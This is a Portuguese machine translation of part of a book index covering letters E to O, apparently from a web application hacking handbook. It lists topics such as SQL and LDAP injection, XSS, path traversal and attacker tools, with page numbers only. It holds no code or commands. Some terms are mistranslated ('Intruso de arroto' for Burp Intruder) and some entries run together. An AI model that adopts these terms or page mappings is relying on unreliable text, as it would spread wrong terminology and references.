bloqueio padrão, MS-SQL bancos de dados, 326-327
defesa em profundidade
Injeção de SQL, 342
arquiteturas em camadas, 656
software de servidor da Web, 696-697 mecanismos de defesa. *Veja também* acesso à
segurança
autenticação, 18-19
controle, 20-21
gerenciamento de sessões, 19-20
atacantes, 30-35
alertas do administrador, 33-34
manutenção do registro de auditoria, 31-32 erros, 30-31
reagindo a, 34-35
elementos, 17-18
entrada, 21-29
abordagens para, 23-25
acesso do usuário, 18-21
filtros defensivos, XSS refletido, 455-456
Método `DELETE`, 679
Declarações `DELETE`, 297-298 scripts backdoor deliberados, 660-661
desenvolvedores
falhas na lógica do aplicativo, 429-430 transmissão de dados no lado do cliente, 118
Erros de codificação HTML, 494-495
segurança de aplicativos da Web, 3 autenticação digest, 50-51
listagens de diretórios, servidores da Web, 677-679
Allaire JRun, 690-691
nomes de diretórios, 105
elementos desativados
atacantes, 132-133
Formulários HTML, 131-133
trapaça de desconto, falhas de lógica de aplicativo, 418, 429
controle de acesso discricionário (DAC), 282
filtros de consultas disjuntivas, 350
injeção de LDAP, 351
Arquivos `.dll`, 141
Reenvio de DNS, 563-564
Elemento `DOCTYPE`, 384-385
modelo de objeto de documento (DOM), 61
metodologia do hacker, 849-850
JavaScript, 440
Métodos da API do JavaScript, 740 funcionalidade da Web, 62
XSS, 440-442
entrega, 448-449 descoberta e exploração, 487-491
validação de entrada, 497
validação de saída, 497-498
prevenção, 496-498 XSS refletido convertido em, 472-473
etapas, 441
Diretiva `DocumentRoot`, 683
DOM. *Consulte* objeto de documento modelo
cookies de restrição de domínio, 245-247
DOMTracer, 488
caractere de ponto, alternativas de filtros de desvio de código de script para, 466
Sequência "dot-dot-slash", 369. *Veja também* vulnerabilidades de path traversal
Dowd, Mark, 634 downloads
bytecode, 140
criptografia de tokens, 231-232
menus suspensos, autenticação, 193 DSer,
Burp Suite, 136-137 Dump Servlet, Jetty, 672 execução dinâmica de código
Métodos da API do ASP.NET, 722 Métodos da API do Java, 715
Injeção de comando do sistema operacional, 362
vulnerabilidades, 366-367
Métodos da API da linguagem Perl, 738
Métodos da API do PHP, 730-731 cadeias de caracteres construídas dinamicamente, 466

E

E4X. *Consulte* ECMAScript para XML Eagle, Chris, 634
eavesdroppers
autenticação, 169
tokens de sessão, 234
eBay, 505
Cifras ECB. *Consulte* cifras de livro de receitas eletrônicas
Echo Mirage, 139
ECMAScript para XML (E4X), 463
Sequestro de JavaScript, 523-524
parâmetro de `edição`, 107
Edwards, Dean, 471
EJB. *Consulte* Enterprise Java Bean cifras de livro de receitas eletrônicas (ECB ciphers), 224-226
e-mail
URLs de ativação de conta, 184
credenciais enviadas em, 184
forjadas, 448
injeção de cabeçalho, 398-399
teste de XSS armazenado, 483-484 como nome de usuário, 167, 196
codificação
Estouro de dados em pedaços do Apache, 688 atacantes e, 66-67
Base64, 69
ASP.NET `ViewState`, 125-126
personalizado, vulnerabilidades de passagem de caminho, 377-378
hexagonal, 69-70
HTML, 68-69
erros do desenvolvedor, 494-495 código de script que contorna filtros, 468
Unicode, 67-68
Burp Intruder, 375
URL, 67
Injeção de SQL, 300-301
truncamento, 378
software de servidor da Web, 689-694 criptografia
.NET, 686
Função "lembre-se de mim", 177
tokens, 223-233
atacantes, 232-233
Virador de bits Burp Intruder, 228-231
CBC, 227-233
download, 231-232
Cifras ECB, 224-226 oráculo de criptografia "reveal", 232
oráculo de criptografia
falhas na lógica do aplicativo, 407-408 função "lembrar de mim", 407
mensagens de erro do banco de dados, 620-622
"revelar", criptografar tokens, 232
Enterprise Java Bean (EJB), 53
planejamento de recursos empresariais software (ERP), 4
enumerando identificadores, 572-583
abordagem básica, 574
Intruso de arroto, 594-597

detecção de acertos, 574-576
exemplos, 573
metodologia do hacker, mapeamento de aplicativos, 797-798
Código de status HTTP, 574
JAttack, 577-583
Cabeçalho `do local`, 575
corpo de resposta, 575
duração da resposta, 574-575
criação de scripts, 576-577
Cabeçalho `Set-Cookie`, 575
atrasos de tempo, 575-576
ERP. *Consulte* software de planejamento de recursos empresariais
mensagens de erro
Apache, 628
ASP.NET, 628
banco de dados, 619-622
oráculo de criptografia, 620-622
divulgação de informações, 619-620
bancos de dados, XSS em, 620
depurador, 425-426, 618-619
comum, 619
gerado dinamicamente, 434
informativo de engenharia, 624-625
exploração, 615-625
genérico, 628
IE, 622
divulgação de informações, 615-625
genérico, 628
Java, 628
palavras-chave, 622
Microsoft IIS, 628
Bancos de dados MS-SQL, 334-338
MySQL, 334-338
ODBC, 624
Bancos de dados Oracle, 334-338
informações públicas, 623
conteúdo publicado, 625
roteiro, 616-617
mecanismos de busca, 623
servidor, 619-622
Injeção de SOAP, 388
código-fonte, 623
Injeção de SQL, 334-338
traços de pilha, 617-618
Operador `UNION`, 306
VBScript, 616
verboso, 30-31, 624
erros
condicional, injeção de SQL, 320-322
mecanismos de defesa que lidam com atacantes e, 30-31
não manipulado, 30-31 escapando
falhas de lógica de aplicativo, 419-420 com caractere de barra invertida, 419 JavaScript, código de script contornando filtros, 465-466
XSS, 420
Cadeia `de caracteres Etag`, 128-129
função `eval`, 362, 722
código de script ignorando filtros alternativos, 466
manipuladores de eventos HTML5, 458
código de script em HTML com, 457-458
Cabeçalho `Expires`, 42
Extensible Markup Language (XML), 56. *Consulte também* Simple Object Access Protocol; XML Path Language
E4X, 463
injeção, 383-390
XXE, 384-386, 841
Interpretação, 387
Explorações de XSS
JavaScript em, 478-479 envio entre domínios, 477-478
Função Extract Grep, 598

F

função de login fail-open, 185-186, 194
mensagens de falha, detalhadas, 166-169
extensões de arquivo, 102-105 inclusão de arquivo
metodologia do hacker, 835-836
local, 382
remoto, 381-382
teste de falhas, 383
recursos estáticos, 382
vulnerabilidades, 381-383
descoberta, 382-383
PHP, 381-382
manipulação de caminho de arquivo, 368-383. *Consulte também* vulnerabilidades de passagem de caminho
filtros
caracteres bloqueados, 311-312
consultas conjuntivas, 350
Injeção de LDAP, 352-353
consultas disjuntivas, 350
Injeção de LDAP, 351
exploração de defeitos, 313
Contorno de HTML, 459-465
delimitadores de atributos, 461-462
nomes de atributos, 461
valores de atributos, 462
conjuntos de caracteres, 464-465
colchetes de tag, 462-464
nome da tag, 460-461
entrada, passagem de caminho vulnerabilidades, 374-377
LDAP, 350
Contornar a lista de exclusão do Oracle PL/SQL, 692-694
XSS refletido
defensivo, 455-456
higienização, 468-471
baseado em assinatura, 456-457 sanitização, XSS refletido, 468-471
desvio de código de script, 465-468
alternativas de caracteres de ponto, 466
cadeias de caracteres construídas dinamicamente, 466
codificação, 468
alternativas à função `eval`, 466
Escapamento de JavaScript, 465-466 técnica múltipla combinação, 466-467
VBScript, 467
VBScript e JavaScript, 467-468
condições de correspondência simples, 350 injeção de SQL contornando, 311-313
XSS
anti-, 452, 748
baseado em lista negra, 451-452
IE, 479-481
navegadores da web, 479-481
serviços financeiros
falhas de lógica de aplicativo, 412-416 ASPs, 658
bancos de dados de impressões digitais, injeção de SQL, 303-304
Firebug, 785
Firefox, 459
extensões de navegador, 750
captura de dados entre domínios, 521 Ferramenta Firesheep, 234
kit de ferramentas do hacker, 749-750
Cabeçalho `do referenciador`, 239
Ferramenta Firesheep, Firefox, 234 firewalls, 12
alertas, 33
WAFs, bytes NULL, 460
XSS de primeira ordem. *Veja* XSS refletido
`500 Servidor interno Erro`, 49
técnicas de força bruta, 85

503 Serviço indisponível, 49
Flash, 134-135
bytecode, 141
/crossdomain.xml, 525-526
LSOs, 553
política de mesma origem, 525-526
dados serializados, 137-138
propriedade font-family, 518-519
navegação forçada, aplicativo falhas de lógica, 411
senha esquecida, 584
atacantes usando, 14
atacantes de vulnerabilidades de string de formato, 644
causas, 643
detecção, 644
metodologia do hacker, 838
código-fonte, 710
formulários
HTML, 58-59
autenticação, 160-161
controle do lado do cliente do usuário entrada com, 127-133
transmissão de dados no lado do cliente com ocultação, 118-120
elementos desativados, 131-133
interceptação de proxy modificando oculto, 119-120
limites de comprimento, 128-129 validação baseada em script, 129-131
funcionalidade da web, 58-60
400 Solicitação ruim, 48
técnicas de força bruta, 84
401 Não autorizado, 48
técnicas de força bruta, 84-85
403 Proibido, 49
técnicas de força bruta, 84-85
404 Não encontrado, 49
405 Método não permitido, 49
413 Entidade de solicitação muito grande, 49
414 Solicitação de URI muito longa, 49
framebusting, ataques de reparação de IU, 514-515
retornos de chamada de função, sequestro de JavaScript, 520
caminhos funcionais, páginas de aplicativos da web *versus*, 93-96
funcionalidade. *Consulte* funcionalidade da Web
vulnerabilidades de entrada específicas da função, metodologia do hacker, 836-841
fuzzing, 572-573
Burp Intruder, metodologia do hacker 600-602, parâmetro, 824-827 conjuntos de testes integrados, 762-763
JAttack, 588-590
objetivo, 586-587
cordas, 587

G

cabeçalhos gerais, 45
mensagens de erro genéricas, 628
Método GET, 42
propósito, 264
Solicitação GET, 40
Conversão de XSS, 474-475
getCurrentUserRoles método, 261
Arquivos GIFAR, 485-486
Google, 89
Resultados omitidos, 90
consulta, 90
Google Translate (GT), 530-531
Hacking de chapéu cinza (Eagle & Harris & Harper & Ness), 634
GT. *Consulte* o Google Tradutor

H

metodologia do hacker
controles de acesso
acesso inseguro, 823
acesso limitado, 822-823
contas múltiplas, 822
requisitos, 821 análise
mapeamento da superfície de ataque, 800 pontos de entrada de dados, 799 funcionalidade, 798-799
tecnologias, 799-800 falhas na lógica do aplicativo
superfície de ataque, 842
entrada incompleta, 843 funções de vários estágios, 842-843
lógica de transação, 844
relações de confiança, 844
mapeamento de aplicativos, 795-798
parâmetros de depuração, 798
conteúdo padrão, 797
enumeração de identificadores, 797-798
conteúdo oculto, 796-797
recursos de informações públicas, 796
de tokens para sessões, 818 conteúdo visível, 795-796
falhas na lógica do aplicativo de autenticação, 811-813
credenciais, geradas automaticamente, 809-810
credenciais, distribuição insegura, 810-811
credenciais, transmissão insegura, 810
falsificação de identidade, 808-809 armazenamento inseguro na web, 811
adivinhação de senha, 807
qualidade da senha, 806
recuperação de senha, 807-808
funções "lembrar de mim", 808
compreensão, 805
enumeração do nome de usuário, 806-807
exclusividade do nome de usuário, 809 exploração de vulnerabilidade para acesso não autorizado, 813
injeção de solicitação de back-end, 841 extensões de navegador, 802-804
Controles ActiveX, 804
depurador, 803-804
descompilação, 802-803
estouro de buffer, 837-838
lado do cliente
transmissão de dados, 801
entrada do usuário, 801-802
escopo do cookie, 820-821
CSRF, 820
DOM, 849-850
inclusão de arquivos, 835-836
vulnerabilidades de string de formato, 838
parâmetros de fuzzing, 824-827
diretrizes, 793-794
Injeção de cabeçalho HTTP, 830
vazamento de informações, 852
vulnerabilidades baseadas em entrada, 824-836
específico da função, 836-841
vulnerabilidades de inteiros, 838
Injeção de LDAP, 839-840
ataques à privacidade local, 850-851
verificações diversas, 849-852 bugs de software nativo, 837-838
redirecionamento aberto vulnerabilidades, 830-831
Injeção de comando do sistema operacional, 832-833
vulnerabilidades de passagem de caminho, 833-835
XSS refletido, 829-830
política de mesma origem, 851-852

injeção de script, 835
gerenciamento de sessão
transmissão insegura de tokens, 817
divulgação do registro do sistema de tokens, 817-818
tokens testados quanto ao significado, 815-816
tokens testados para previsibilidade, 816-817
compreensão, 814-815
sessões
fixação, 819
terminando, 818-819
hospedagem compartilhada, 845-846
Injeção de SMTP, 836-837
Injeção de SOAP, 839
Injeção de SQL, 827-829
procedimentos armazenados, 831-832 cifras SSL fracas, 851
servidores da Web, 846-849
métodos HTTP perigosos, 847
conteúdo padrão, 847
credenciais padrão, 846 bugs de software nativo, 848
funcionalidade do servidor proxy, 847
hospedagem virtual, 847-848
WAFs, 848-849
áreas de trabalho, 791-793
Injeção de XPath, 840-841
Injeção XXE, 841
kit de ferramentas do hacker, 747
scripts personalizados, 786-789
Curl, 788
Netcat, 788-789
Stunnel, 789
Wget, 788
Firebug, 785
Hydra, 785-786 conjuntos de testes integrados, 751-773
componentes, 752-769
tipos, 751
Nikto, 785
navegadores da Web, 748-750
Cromado, 750
Firefox, 749-750
IE, 748-749
Wikto, 785
Hammad, Sherief, 322
Harper, Allen, 634
Harris, Shon, 634
Funções `HEAD`, 43
Método `HEAD`, 265
estouro de pilha, 635-636
Heasman, John, 634
codificação hexadecimal, 69-70
descoberta de conteúdo oculto, 80-93
técnicas de força bruta, 81-85
inferência de dados publicados conteúdo, 85-89
Nikto, 93
informações públicas, 89-91 spidering direcionado ao usuário, 81-83
servidor da Web aproveitado para, 91-93
Wikto, 92-93
metodologia do hacker, mapeamento de aplicativos, 796-797
campos de formulário HTML ocultos transmissão de dados no lado do cliente com, 118-120
interceptando proxy modificando, 119-120
parâmetros ocultos, mapeamento de aplicativos, 96-97
sequestro
JavaScript, 519-520
E4X, 523-524
retornos de chamada de função, 520
JSON, 521
prevenção, 524
atribuição de variáveis, 522
sessões, 436
Holyfield, Brian, 138
controles de acesso horizontal, 258
escalonamento horizontal de privilégios, 259, 416
Cabeçalho `do host`, 41
hospedagem. *Consulte* hospedagem compartilhada HP OpenView, 359
HPI. *Consulte* Injeção de parâmetro HTTP
HPP. *Consulte* Poluição de parâmetro HTTP
HTML. *Consulte* linguagem de marcação de hipertexto
HTML5
Ajax, 487
manipuladores de eventos, 458
ataques locais à privacidade, 554 política de mesma origem, 528-529
pseudoprotocolos de script, 458
funcionalidade da Web, 64-65
HTTP. *Consulte* transferência de hipertexto protocolo
Causas da injeção de cabeçalho HTTP, 531-532
cookies, 533
exploração, 532-535
atacantes, 534-535
metodologia do hacker, 830
Divisão de resposta HTTP, 534-535
validação de entrada, 536
prevenção, 536
Injeção de parâmetro HTTP (HPI), 390
causas, 393-394
HPP, 394-395
Poluição de parâmetros HTTP (HPP) no lado do cliente, 548-550
HPI, 394-395
HTTPRECON, 102
HTTPS, 49
suítes de teste integradas, interceptando proxies, 755-758
função de login, 170
ataques man-in-the-middle, 566-568
servidores proxy, 50
tokens de sessão, 234-236, 250
Ferramenta HTTPWatch, IE, 748 Hydra, 785-786
hiperlinks, funcionalidade da Web, 58 linguagem de marcação de hipertexto (HTML). *Consulte também* Modificação de controles ActiveX HTML5, 557
contornando filtros, 459-465
delimitadores de atributos, 461-462
nomes de atributos, 461
valores de atributos, 462
conjuntos de caracteres, 464-465
colchetes de tag, 462-464
nome da etiqueta, 460-461
codificação, 68-69
erros do desenvolvedor, 494-495
formulários, 58-59
autenticação, 160-161
controle do usuário no lado do cliente entrada com, 127-133
transmissão de dados no lado do cliente com ocultação, 118-120
elementos desativados, 131-133 interceptação de proxy modificando oculto, 119-120
limites de comprimento, 128-129 validação baseada em script, 129-131
injeção, captura de dados entre domínios, 516-517
limitação de XSS refletido, 495-496
código de script introduzido em estilos CSS avaliados dinamicamente, 459
manipuladores de eventos, 457-458
pseudoprotocolos de script, 458
`etiquetas de script`, 457

limitação de XSS armazenado, 495-496 pares de tags, XSS, 422
funcionalidade da Web com, 58
protocolo de transferência de hipertexto (HTTP). *Consulte também* Injeção de cabeçalho HTTP
teste de controles de acesso, 278
autenticação, 50-51
sessões evitadas com, 208-209
benefícios, 5
cookies, 19, 47
transmissão de dados no lado do cliente, 121
tokens de gerenciamento de sessão, 207-208, 234-236
impressão digital, 102
metodologia do hacker, web servidores, 847
cabeçalhos
mapeamento de aplicativos, pontos de entrada, 100-101
geral, 45
solicitação, 45-46
resposta, 46
premissas de segurança, 123
HPI, 390
causas, 393-394
HPP, 394-395
no lado do cliente, 548-550
ataques man-in-the-middle, 566-568
mensagens, 40-42
métodos, 42-44
origens, 39
servidores proxy, 49-50
solicitações, 40-41
dissecação, 107-108
fontes de entrada, 52
URL, 40, 42
respostas, 41-42
divisão, 534-535
redirecionamento no lado do servidor, 390-392
exploração, 391-392
SSL e, 49
códigos de status, 48-49
enumerando identificadores, 574
Protocolo TCP, 40 teste de hipótese, estatístico, 219-222

I

Campo `ID`, 295
IDA Pro, 153
iDefense, 558
controles de acesso a funções baseadas em identificadores, 261-262
registros de aplicativos, 262
identificadores. *Consulte* enumerar identificadores
IE. *Consulte* Internet Explorer
Ferramenta IEWatch, 79, 748
`Se-Modificado-Desde`, 128-129
`Se não houver correspondência`, 128-129
`iframe`, 511-515
IIS, Microsoft
mensagens de erro, 628
Extensões ISAPI, 688
vulnerabilidades de passagem de caminho, 691-692
personificação, autenticação, 178-180
metodologia do hacker, 808-809
entrega em banda, XSS, 449-450
ações de indução, 501
falsificação de solicitações
CSRF, 8, 244, 251, 504-511
OSRF, 502-503
Ataques de reparação da UI, 508, 511-515
forma básica, 511-513
quebra de estrutura, 514-515
dispositivos móveis, 515
prevenção, 515
variações, 513
Cargas úteis de ataques XSS, 445-446 inferência
divulgação de informações, 626-627
mecanismos de busca, 626
Injeção de SQL, 319-324
loops infinitos, 29 divulgação de informações
mensagens de erro, 615-625
genérico, 628
inferência, 626-627
vazamentos
no lado do cliente, 629
prevenção, 627-629
protegendo, 628-629
conteúdo publicado, 625
vazamento de informações, 8
prevenção de autenticação, 195-196
metodologia do hacker, 852
divulgação de informações
no lado do cliente, 629
prevenção, 627-629
`information_schema`, 309-310
vetor de inicialização (IV), 685
injeção
solicitação de back-end, 841
no lado do cliente, 531-550
SQL, 547-548
código, 288
cookie
métodos do atacante, 536-537
fixação de sessão, 537-540
CSS, dados entre domínios captura, 517-519
cabeçalho de e-mail, 398-399
HPI, 390
causas, 393-394
HTML, captura de dados entre domínios, 516-517
Cabeçalho HTTP
exploração por atacantes, 534-535
causas, 531-532
cookies, 533
exploração, 532-535
metodologia do hacker, 830
Divisão de resposta HTTP, 534-535
validação de entrada, 536
validação de saída, 536
prevenção, 536
linguagem interpretada, 288-290
LDAP, 349-354
filtros de consultas conjuntivas, 352-353
exploração, 351-353
falhas, 353-354
metodologia do hacker, 839-840
prevenção, 354
vulnerabilidades, 350-351
função de login contornada, 288-290
NoSQL, 342-344
MongoDB, 343-344
Comandos do sistema operacional, 358-368
ASP.net, 360-361
execução de código dinâmico, 362
execução de código dinâmico, vulnerabilidades, 366-367
falhas, 363-366
metodologia do hacker, 832-833
metacaracteres, 420
Linguagem Perl, 358-360
prevenção, 367-368
metacaracteres do shell, 363, 365
código-fonte, 708
espaços, 366
atraso de tempo, 363-364
script
metodologia do hacker, 835 prevenção de vulnerabilidades, 368
SMTP, 397-402
falhas, 400-401
metodologia do hacker, 836-837
prevenção, 402
SOAP, 386-388
aplicativo bancário, 387-388

mensagens de erro, 388
localização e exploração, 389 metodologia do hacker, 839
prevenção, 27, 390
SQL, 7, 14
exploração avançada, 314-324
Métodos de API, 291 falhas de lógica de aplicativo, 420-422
cego, 626
insetos, 298-302
no lado do cliente, 547-548
nome da coluna, 301-302
erros condicionais, 320-322
componentes de código de banco de dados, 741-742
defesa em profundidade, 342
Declarações DELETE, 297-298
hífen duplo, 293
mensagens de erro, 334-338
ferramentas de exploração, 328-331
desvio de filtro, 311-313 bancos de dados de impressões digitais, 303-304
metodologia do hacker, 827-829
inferência, 319-324
validação de entrada contornado, 312
Instruções INSERT, 295-296
Erros de JavaScript, 299
dados numéricos, 299-301, 315-316
Cláusula ORDER BY, 301-302
canal fora de banda, 316-319
consultas parametrizadas, 339-341
prevenção, 27, 338-342
estrutura de consulta, 301-302
de segunda ordem, 313-314
Instruções SELECT, 294-295
código-fonte, 705-706
dados de cadeia, 298-299
sintaxe, 332-334
atrasos de tempo, 322-324
Operador UNION, 304-308
Extração de dados do operador UNION, 308-311
Declarações UPDATE, 296-297
Codificação de URL, exploração de vulnerabilidade 300-301, 292-294
Trojan, cargas úteis de ataque XSS, 444-445
XML, 383-390
XXE, 384-386, 841
XPath, 344-349
cego, 347-348
falhas, 348-349
metodologia do hacker, 840-841
informado, 346-347
prevenção, 349
entrada. *Consulte também* a entrada do usuário "accept known good" (aceitar o bem conhecido) abordagem, 24
mapeamento de aplicativos, entrada pontos para
Cabeçalhos HTTP, 100-101
canais fora de banda, 101
parâmetros de solicitação, 99 caminhos de arquivo de URL, 98-99
aplicativos de blog, 22
validação de limites, 25-28, 313
canonização, 28-29
mecanismos de defesa, 21-29
abordagens para, 23-25
filtros, passagem de caminho vulnerabilidades, 374-377
metodologia do hacker, falhas na lógica do aplicativo e incompletas, 843
inserção, XSS armazenado, XSS refletido eliminando o perigo, 495
validação em várias etapas, 28-29
abordagem "rejeitar o que é ruim", 23-24
abordagem de manuseio seguro de dados, 25
abordagem de sanitização, 24-25
verificações semânticas, 25
validação, 21-22, 313 falhas na lógica do aplicativo invalidação, 420-422
contornando, 312
XSS baseado em DOM, 497
Injeção de cabeçalho HTTP, 536 problemas, 26
XSS armazenado, XSS refletido, 492-493
variedades, 21-23
vulnerabilidades baseadas em entrada, metodologia do hacker, 824-836
específico da função, 836-841
Declarações INSERT
Injeção de SQL, 295-296
Cláusula WHERE, seguro 295,
lógica de aplicativo falhas, 412-413
causas de vulnerabilidades de inteiros, 640
detecção, 642-643
metodologia do hacker, 838
transbordamentos, 640-641
erros de assinatura, 641-642
código-fonte, 709-710
suítes de teste integradas
fuzzing, 762-763
kit de ferramentas do hacker, 751-773
componentes, 752-769
tipos, 751
interceptação de proxies
alternativas, 771-773
características comuns, 758-759
HTTPS, 755-758
configuração do navegador da Web, 752-755
ferramentas de solicitação manual, 765-767 funções e utilitários compartilhados, 768-769
analisadores de tokens compartilhados, 767 Dados de violação, 772
TamperIE, 772-773
scanners de vulnerabilidade, 764-765
autônomo, 773-784
Web spidering, 760-762
fluxo de trabalho, 769-771
interceptação de proxies
evolução, 751 suítes de teste integradas
alternativas, 771-773
características comuns, 758-759
HTTPS, 755-758
configuração do navegador da Web, 752-755
Internet. *Consulte* World Wide
Web Internet Explorer (IE), 239, 459
filtros anti-XSS, 748
mensagens de erro, 622
Ferramenta HTTPWatch, 748
Ferramenta IEWatch, 79, 748
XSS refletido, 435
TamperIE, 772-773
userData, 554
kit de ferramentas para hackers de aplicativos da web, 748-749
Filtro XSS, 479-481
Fóruns da Internet, públicos informações, 91
injeção de linguagem interpretada, 288-290
Disponibilidade de endereço IP, 100
IV. *Ver* vetor de inicialização

J

Jad, Java, 141
descompilação, 148-150
Arquivos .jad, 148-150
Arquivos .jar, 141
JAttack

coleta de dados, 585-586
enumeração de identificadores, 577-583
função de extração, 598
fuzzing, 588-590
força, 590 Java
Métodos da API
acesso ao banco de dados, 714-715 execução de código
dinâmico, 715 acesso a arquivos, 713
Execução de comandos do sistema operacional, 715-716
potencialmente perigoso, 713-716
soquetes, 716
Redirecionamento de URL, 716
applets, 134
descompilando o navegador extensões, 146-150
bytecode, 141
depuradores, 151-152
mensagens de erro, 628
Jad, 141
descompilação, 148-150
política de mesma origem, 527
configuração de segurança, 716-717
dados serializados, 136-137
interação de sessão, 712-713
terminologia, 53
arquiteturas em camadas, 648
entrada do usuário, 711-712
Métodos de API, 712
contêiner da Web, 53
funcionalidade da web, 53-54
Java Servlet, 53
Java Virtual Machine (JVM), 134
software de servidor da Web vulnerabilidades, 690
`java.io.File`, 713
`java.net.Socket`, 716
JavaScript
histórico de navegação roubado com, 560
no lado do cliente, validação com, 130-131, 156
descompilação de extensões de navegador, manipulação original de bytecode, 144
DOM, 440
Métodos de API baseados em DOM, 740 escape, código de script contornando filtros, 465-466
sequestro, 519-520
E4X, 523-524
retornos de chamada de função, 520
JSON, 521
prevenção, 524
atribuição de variáveis, 522
Função `$js`, 344
limites de comprimento, 471
registro de pressionamentos de teclas, 560
redirecionamento aberto vulnerabilidades, 546
varredura de portas, 561, 566
código de script que contorna filtros usando VBScript e, 467-468
Injeção de SQL, erros em, 299
aplicativos de terceiros usado atualmente, 560-561
funcionalidade da web, 61
XSS, 436-438
Explorações de XSS executando, em respostas XML, 478-479
Notação de objeto JavaScript (JSON)
solicitações entre domínios, 477
Sequestro de JavaScript, 521
funcionalidade da web, 63
JavaSnoop, 151-152
Servidor de aplicativos JBoss, 674-676
Píer, 218
Servlet de despejo, 672
Verme Jitko, 530-531
Função `$js`, JavaScript, 344 JMX, 674-676
JRun, Allaire, 690-691 JSON. *Consulte* Objeto JavaScript Notação
Extensão de arquivo `.jsp`, 107
JSwat, 151-152
JVM. *Consulte* Máquina virtual Java

K

Kamkar, Samy, 219
pressionamentos de teclas, registro, 560
Klein, Amit, 248

L

Servidor LAMP, 650-651, 666
idiomas. *Consulte* linguagem interpretada
abordagem de carga preguiçosa, transmissão de dados, 626
LDAP. *Consulte* Lightweight Directory Access Protocol
vazamentos. *Consulte* os limites de comprimento de vazamento de informações
JavaScript, 471
XSS refletido, 471-473
Ley, Jim, 444
Protocolo LDAP (Lightweight Directory Access Protocol)
filtros, 350
injeção, 349-354 filtros de consultas conjuntivas, 352-353
filtros de consultas disjuntivas, 351 explorando, 351-353
falhas, 353-354
metodologia do hacker, 839-840
prevenção, 354
vulnerabilidades, 350-351
usos, 349-350
Linder, Felix, 634
Litchfield, David, 320, 327, 693
Comando `LOAD_FILE`, 328
inclusão de arquivo local, 382
arquiteturas em camadas, 652-654
ataques locais à privacidade
autocompletar, 552
histórico de navegação, 552
Flash LSOs, 553
metodologia do hacker, 850-851
HTML5, 554
IE userData, 554
cookies persistentes, 550
prevenção, 554-555
Armazenamento isolado do Silverlight, 553 testes, 550
Objetos locais compartilhados (LSOs), 553
Cabeçalho `do local`, 531-532
enumerando identificadores, 575 controles de acesso baseados em localização, 266
registro de pressionamentos de teclas, 560
lógica. *Consulte* lógica do aplicativo falhas na função de login, 18-19, 160
suspensão de conta, 197-198
falhas de lógica de aplicativo, 426-427
condições de corrida, 427
atacantes, 164-165 autenticação
brute-forcible, 162-165
mensagens de falha detalhadas, 166-169
simultânea, 250
cookies, 163
falha de abertura, 185-186, 194
HTTPS, 170
desvio de injeção, 288-290
multiestágio, 186-190, 194-195
atacantes, 188
mito comum, 187
propósito, 186-187
perguntas aleatórias, 189-190, 194-195
desafio secundário, 173, 200

perguntas secretas, 189
gerenciamento de sessões, 206
tokens, 539-540
diferenças de tempo, 168-169
enumeração de nomes de usuário, 166-169
função de logout, gerenciamento de sessão, 242, 250
Registros. *Consulte* divulgação de registros do sistema, tokens de sessão
LSOs. *Consulte* Objetos locais compartilhados

M

macros, solicitação, 604-606
Diretiva `magic_quotes-gpc`, 734
comando `mail()`, 398-399
serviços de correio eletrônico. *Consulte* e-mail; SMTP
injeção
ataques man-in-the-middle, 566-568
ferramentas de solicitação manual, conjuntos de testes integrados, 765-767
mapeamento. *Consulte* mapeamento de aplicativos
Mavituna, Ferruh, 566
McDonald, John, 634 atacantes de tokens significativos, 212
gerenciamento de memória, web software do servidor, 687-689
metacaracteres, comando do sistema operacional
injeção, 420. *Veja também* metacaracteres do shell
Microsoft. *Consulte também* Internet Explorer
Quebra-cabeças de
Asirra, 612 IIS
mensagens de erro, 628
Extensões ISAPI, 688
vulnerabilidades de passagem de caminho, 691-692
segurança, 431-432
SiteLock Active Template Biblioteca, 559
dispositivos móveis
aplicativos, 4
Ataques de reparação de IU, 515
`mod_isapi`, Apache, 688
`mod_proxy`, Apache, 688
MongoDB, injeção de NoSQL, 343-344
Método `MOVE`, 679-680
Bancos de dados MS-SQL
atacantes, 326-327
exploração automatizada, 330
consultas em lote, 317
bloqueio padrão, 326-327
mensagens de erro, 334-338
canais fora de banda, 317
sintaxe, 332-334
Comando `WAITFOR`, 322-323
funções de vários estágios
controles de acesso, 262-263
testes, 271-273
aplicativo bancário, 263
metodologia do hacker, falhas na lógica do aplicativo, 842-843
login, 186-190, 194
atacantes, 188
mito comum, 187
propósito, 186-187
perguntas aleatórias, 189-190, 194-195
validação em várias etapas, entrada, 28-29
MySpace, XSS armazenado, 442-443, 446
MySQL
atacantes, 328
comentários, 303-304, 312
hífen duplo, 293
mensagens de erro, 334-338
canais fora de banda, 319
vulnerabilidades de passagem de caminho, 651
função sleep, 323
sintaxe, 332-334
extração de arquiteturas em camadas, 650-652
UDFs, 328

N

esquemas de nomenclatura
mapeamento de aplicativos, 85-86
exercício de força bruta, 88
identificando, 87
recursos estáticos, 87
componentes de cliente nativos, 153 estouro de buffer de
aplicativos compilados nativos, 634-640
exemplos, 633
vulnerabilidades de string de formato, 643-644
vulnerabilidades de inteiros, 640-643
testes para, 633-634 bugs
de software nativo
metodologia do hacker, 837-838
servidores da web, 848
código-fonte, 709-710
NBFS. *Consulte* Formato binário .NET para SOAP
método de preço negativo, 120
Ness, Jonathan, 634
.NET
criptografia, 686
oráculo de preenchimento, 685-687
Formato binário do .NET para SOAP (NBFS), 138
Netcat, 788-789
Roteador NETGEAR, 562
divulgação de rede, sessão tokens, 234-237
hosts de rede, atacantes, 561-562
perímetro de rede, web segurança de aplicativos e novos, 12-14
método `nextPayload`, 578
NGSSoftware, 640 Nikto
kit de ferramentas do hacker, 785
conteúdo oculto, 93
maximização da eficácia, 797
serviços não HTTP, 562-563
NoSQL
vantagens, 343
armazenamentos de dados, 342-343
injeção, 342-344
MongoDB, 343-344
função `notNetgear`, 562
comando `nslookup`, 365
Protocolo NTLM, 50 bytes
NULL
atacantes, 23-24
WAFs, 460
XSS, 460
Valor `NULL`, 306-307
limites de dados
numéricos, 417
Injeção de SQL em, 299-301, 315-316

O

ofuscação
bytecode, descompilando extensões de navegador, 144-146
esquemas personalizados, 109 OCR. *Consulte* caractere óptico
reconhecimento
ODBC. *Consulte* conectividade de banco de dados aberto
vulnerabilidades de um para um, 636-638
OllyDbg, 153
Resultados omitidos, Google, 90
`100 Continuar`, 48
falsificação de solicitação no local (OSRF), 502-503
atributos `onsubmit`, 130 dados opacos
atacantes, 124

transmissão de dados no lado do cliente, 123-124
conectividade de banco de dados aberto (ODBC), 624
causas das vulnerabilidades de redirecionamento aberto, 540-541
descoberta e exploração, 542-546
metodologia do hacker, 830-831
JavaScript, 546
prevenção, 546-547
ataques de rickrolling, 541
código-fonte, 707-708
URLs, 542
prefixo absoluto, 545-546
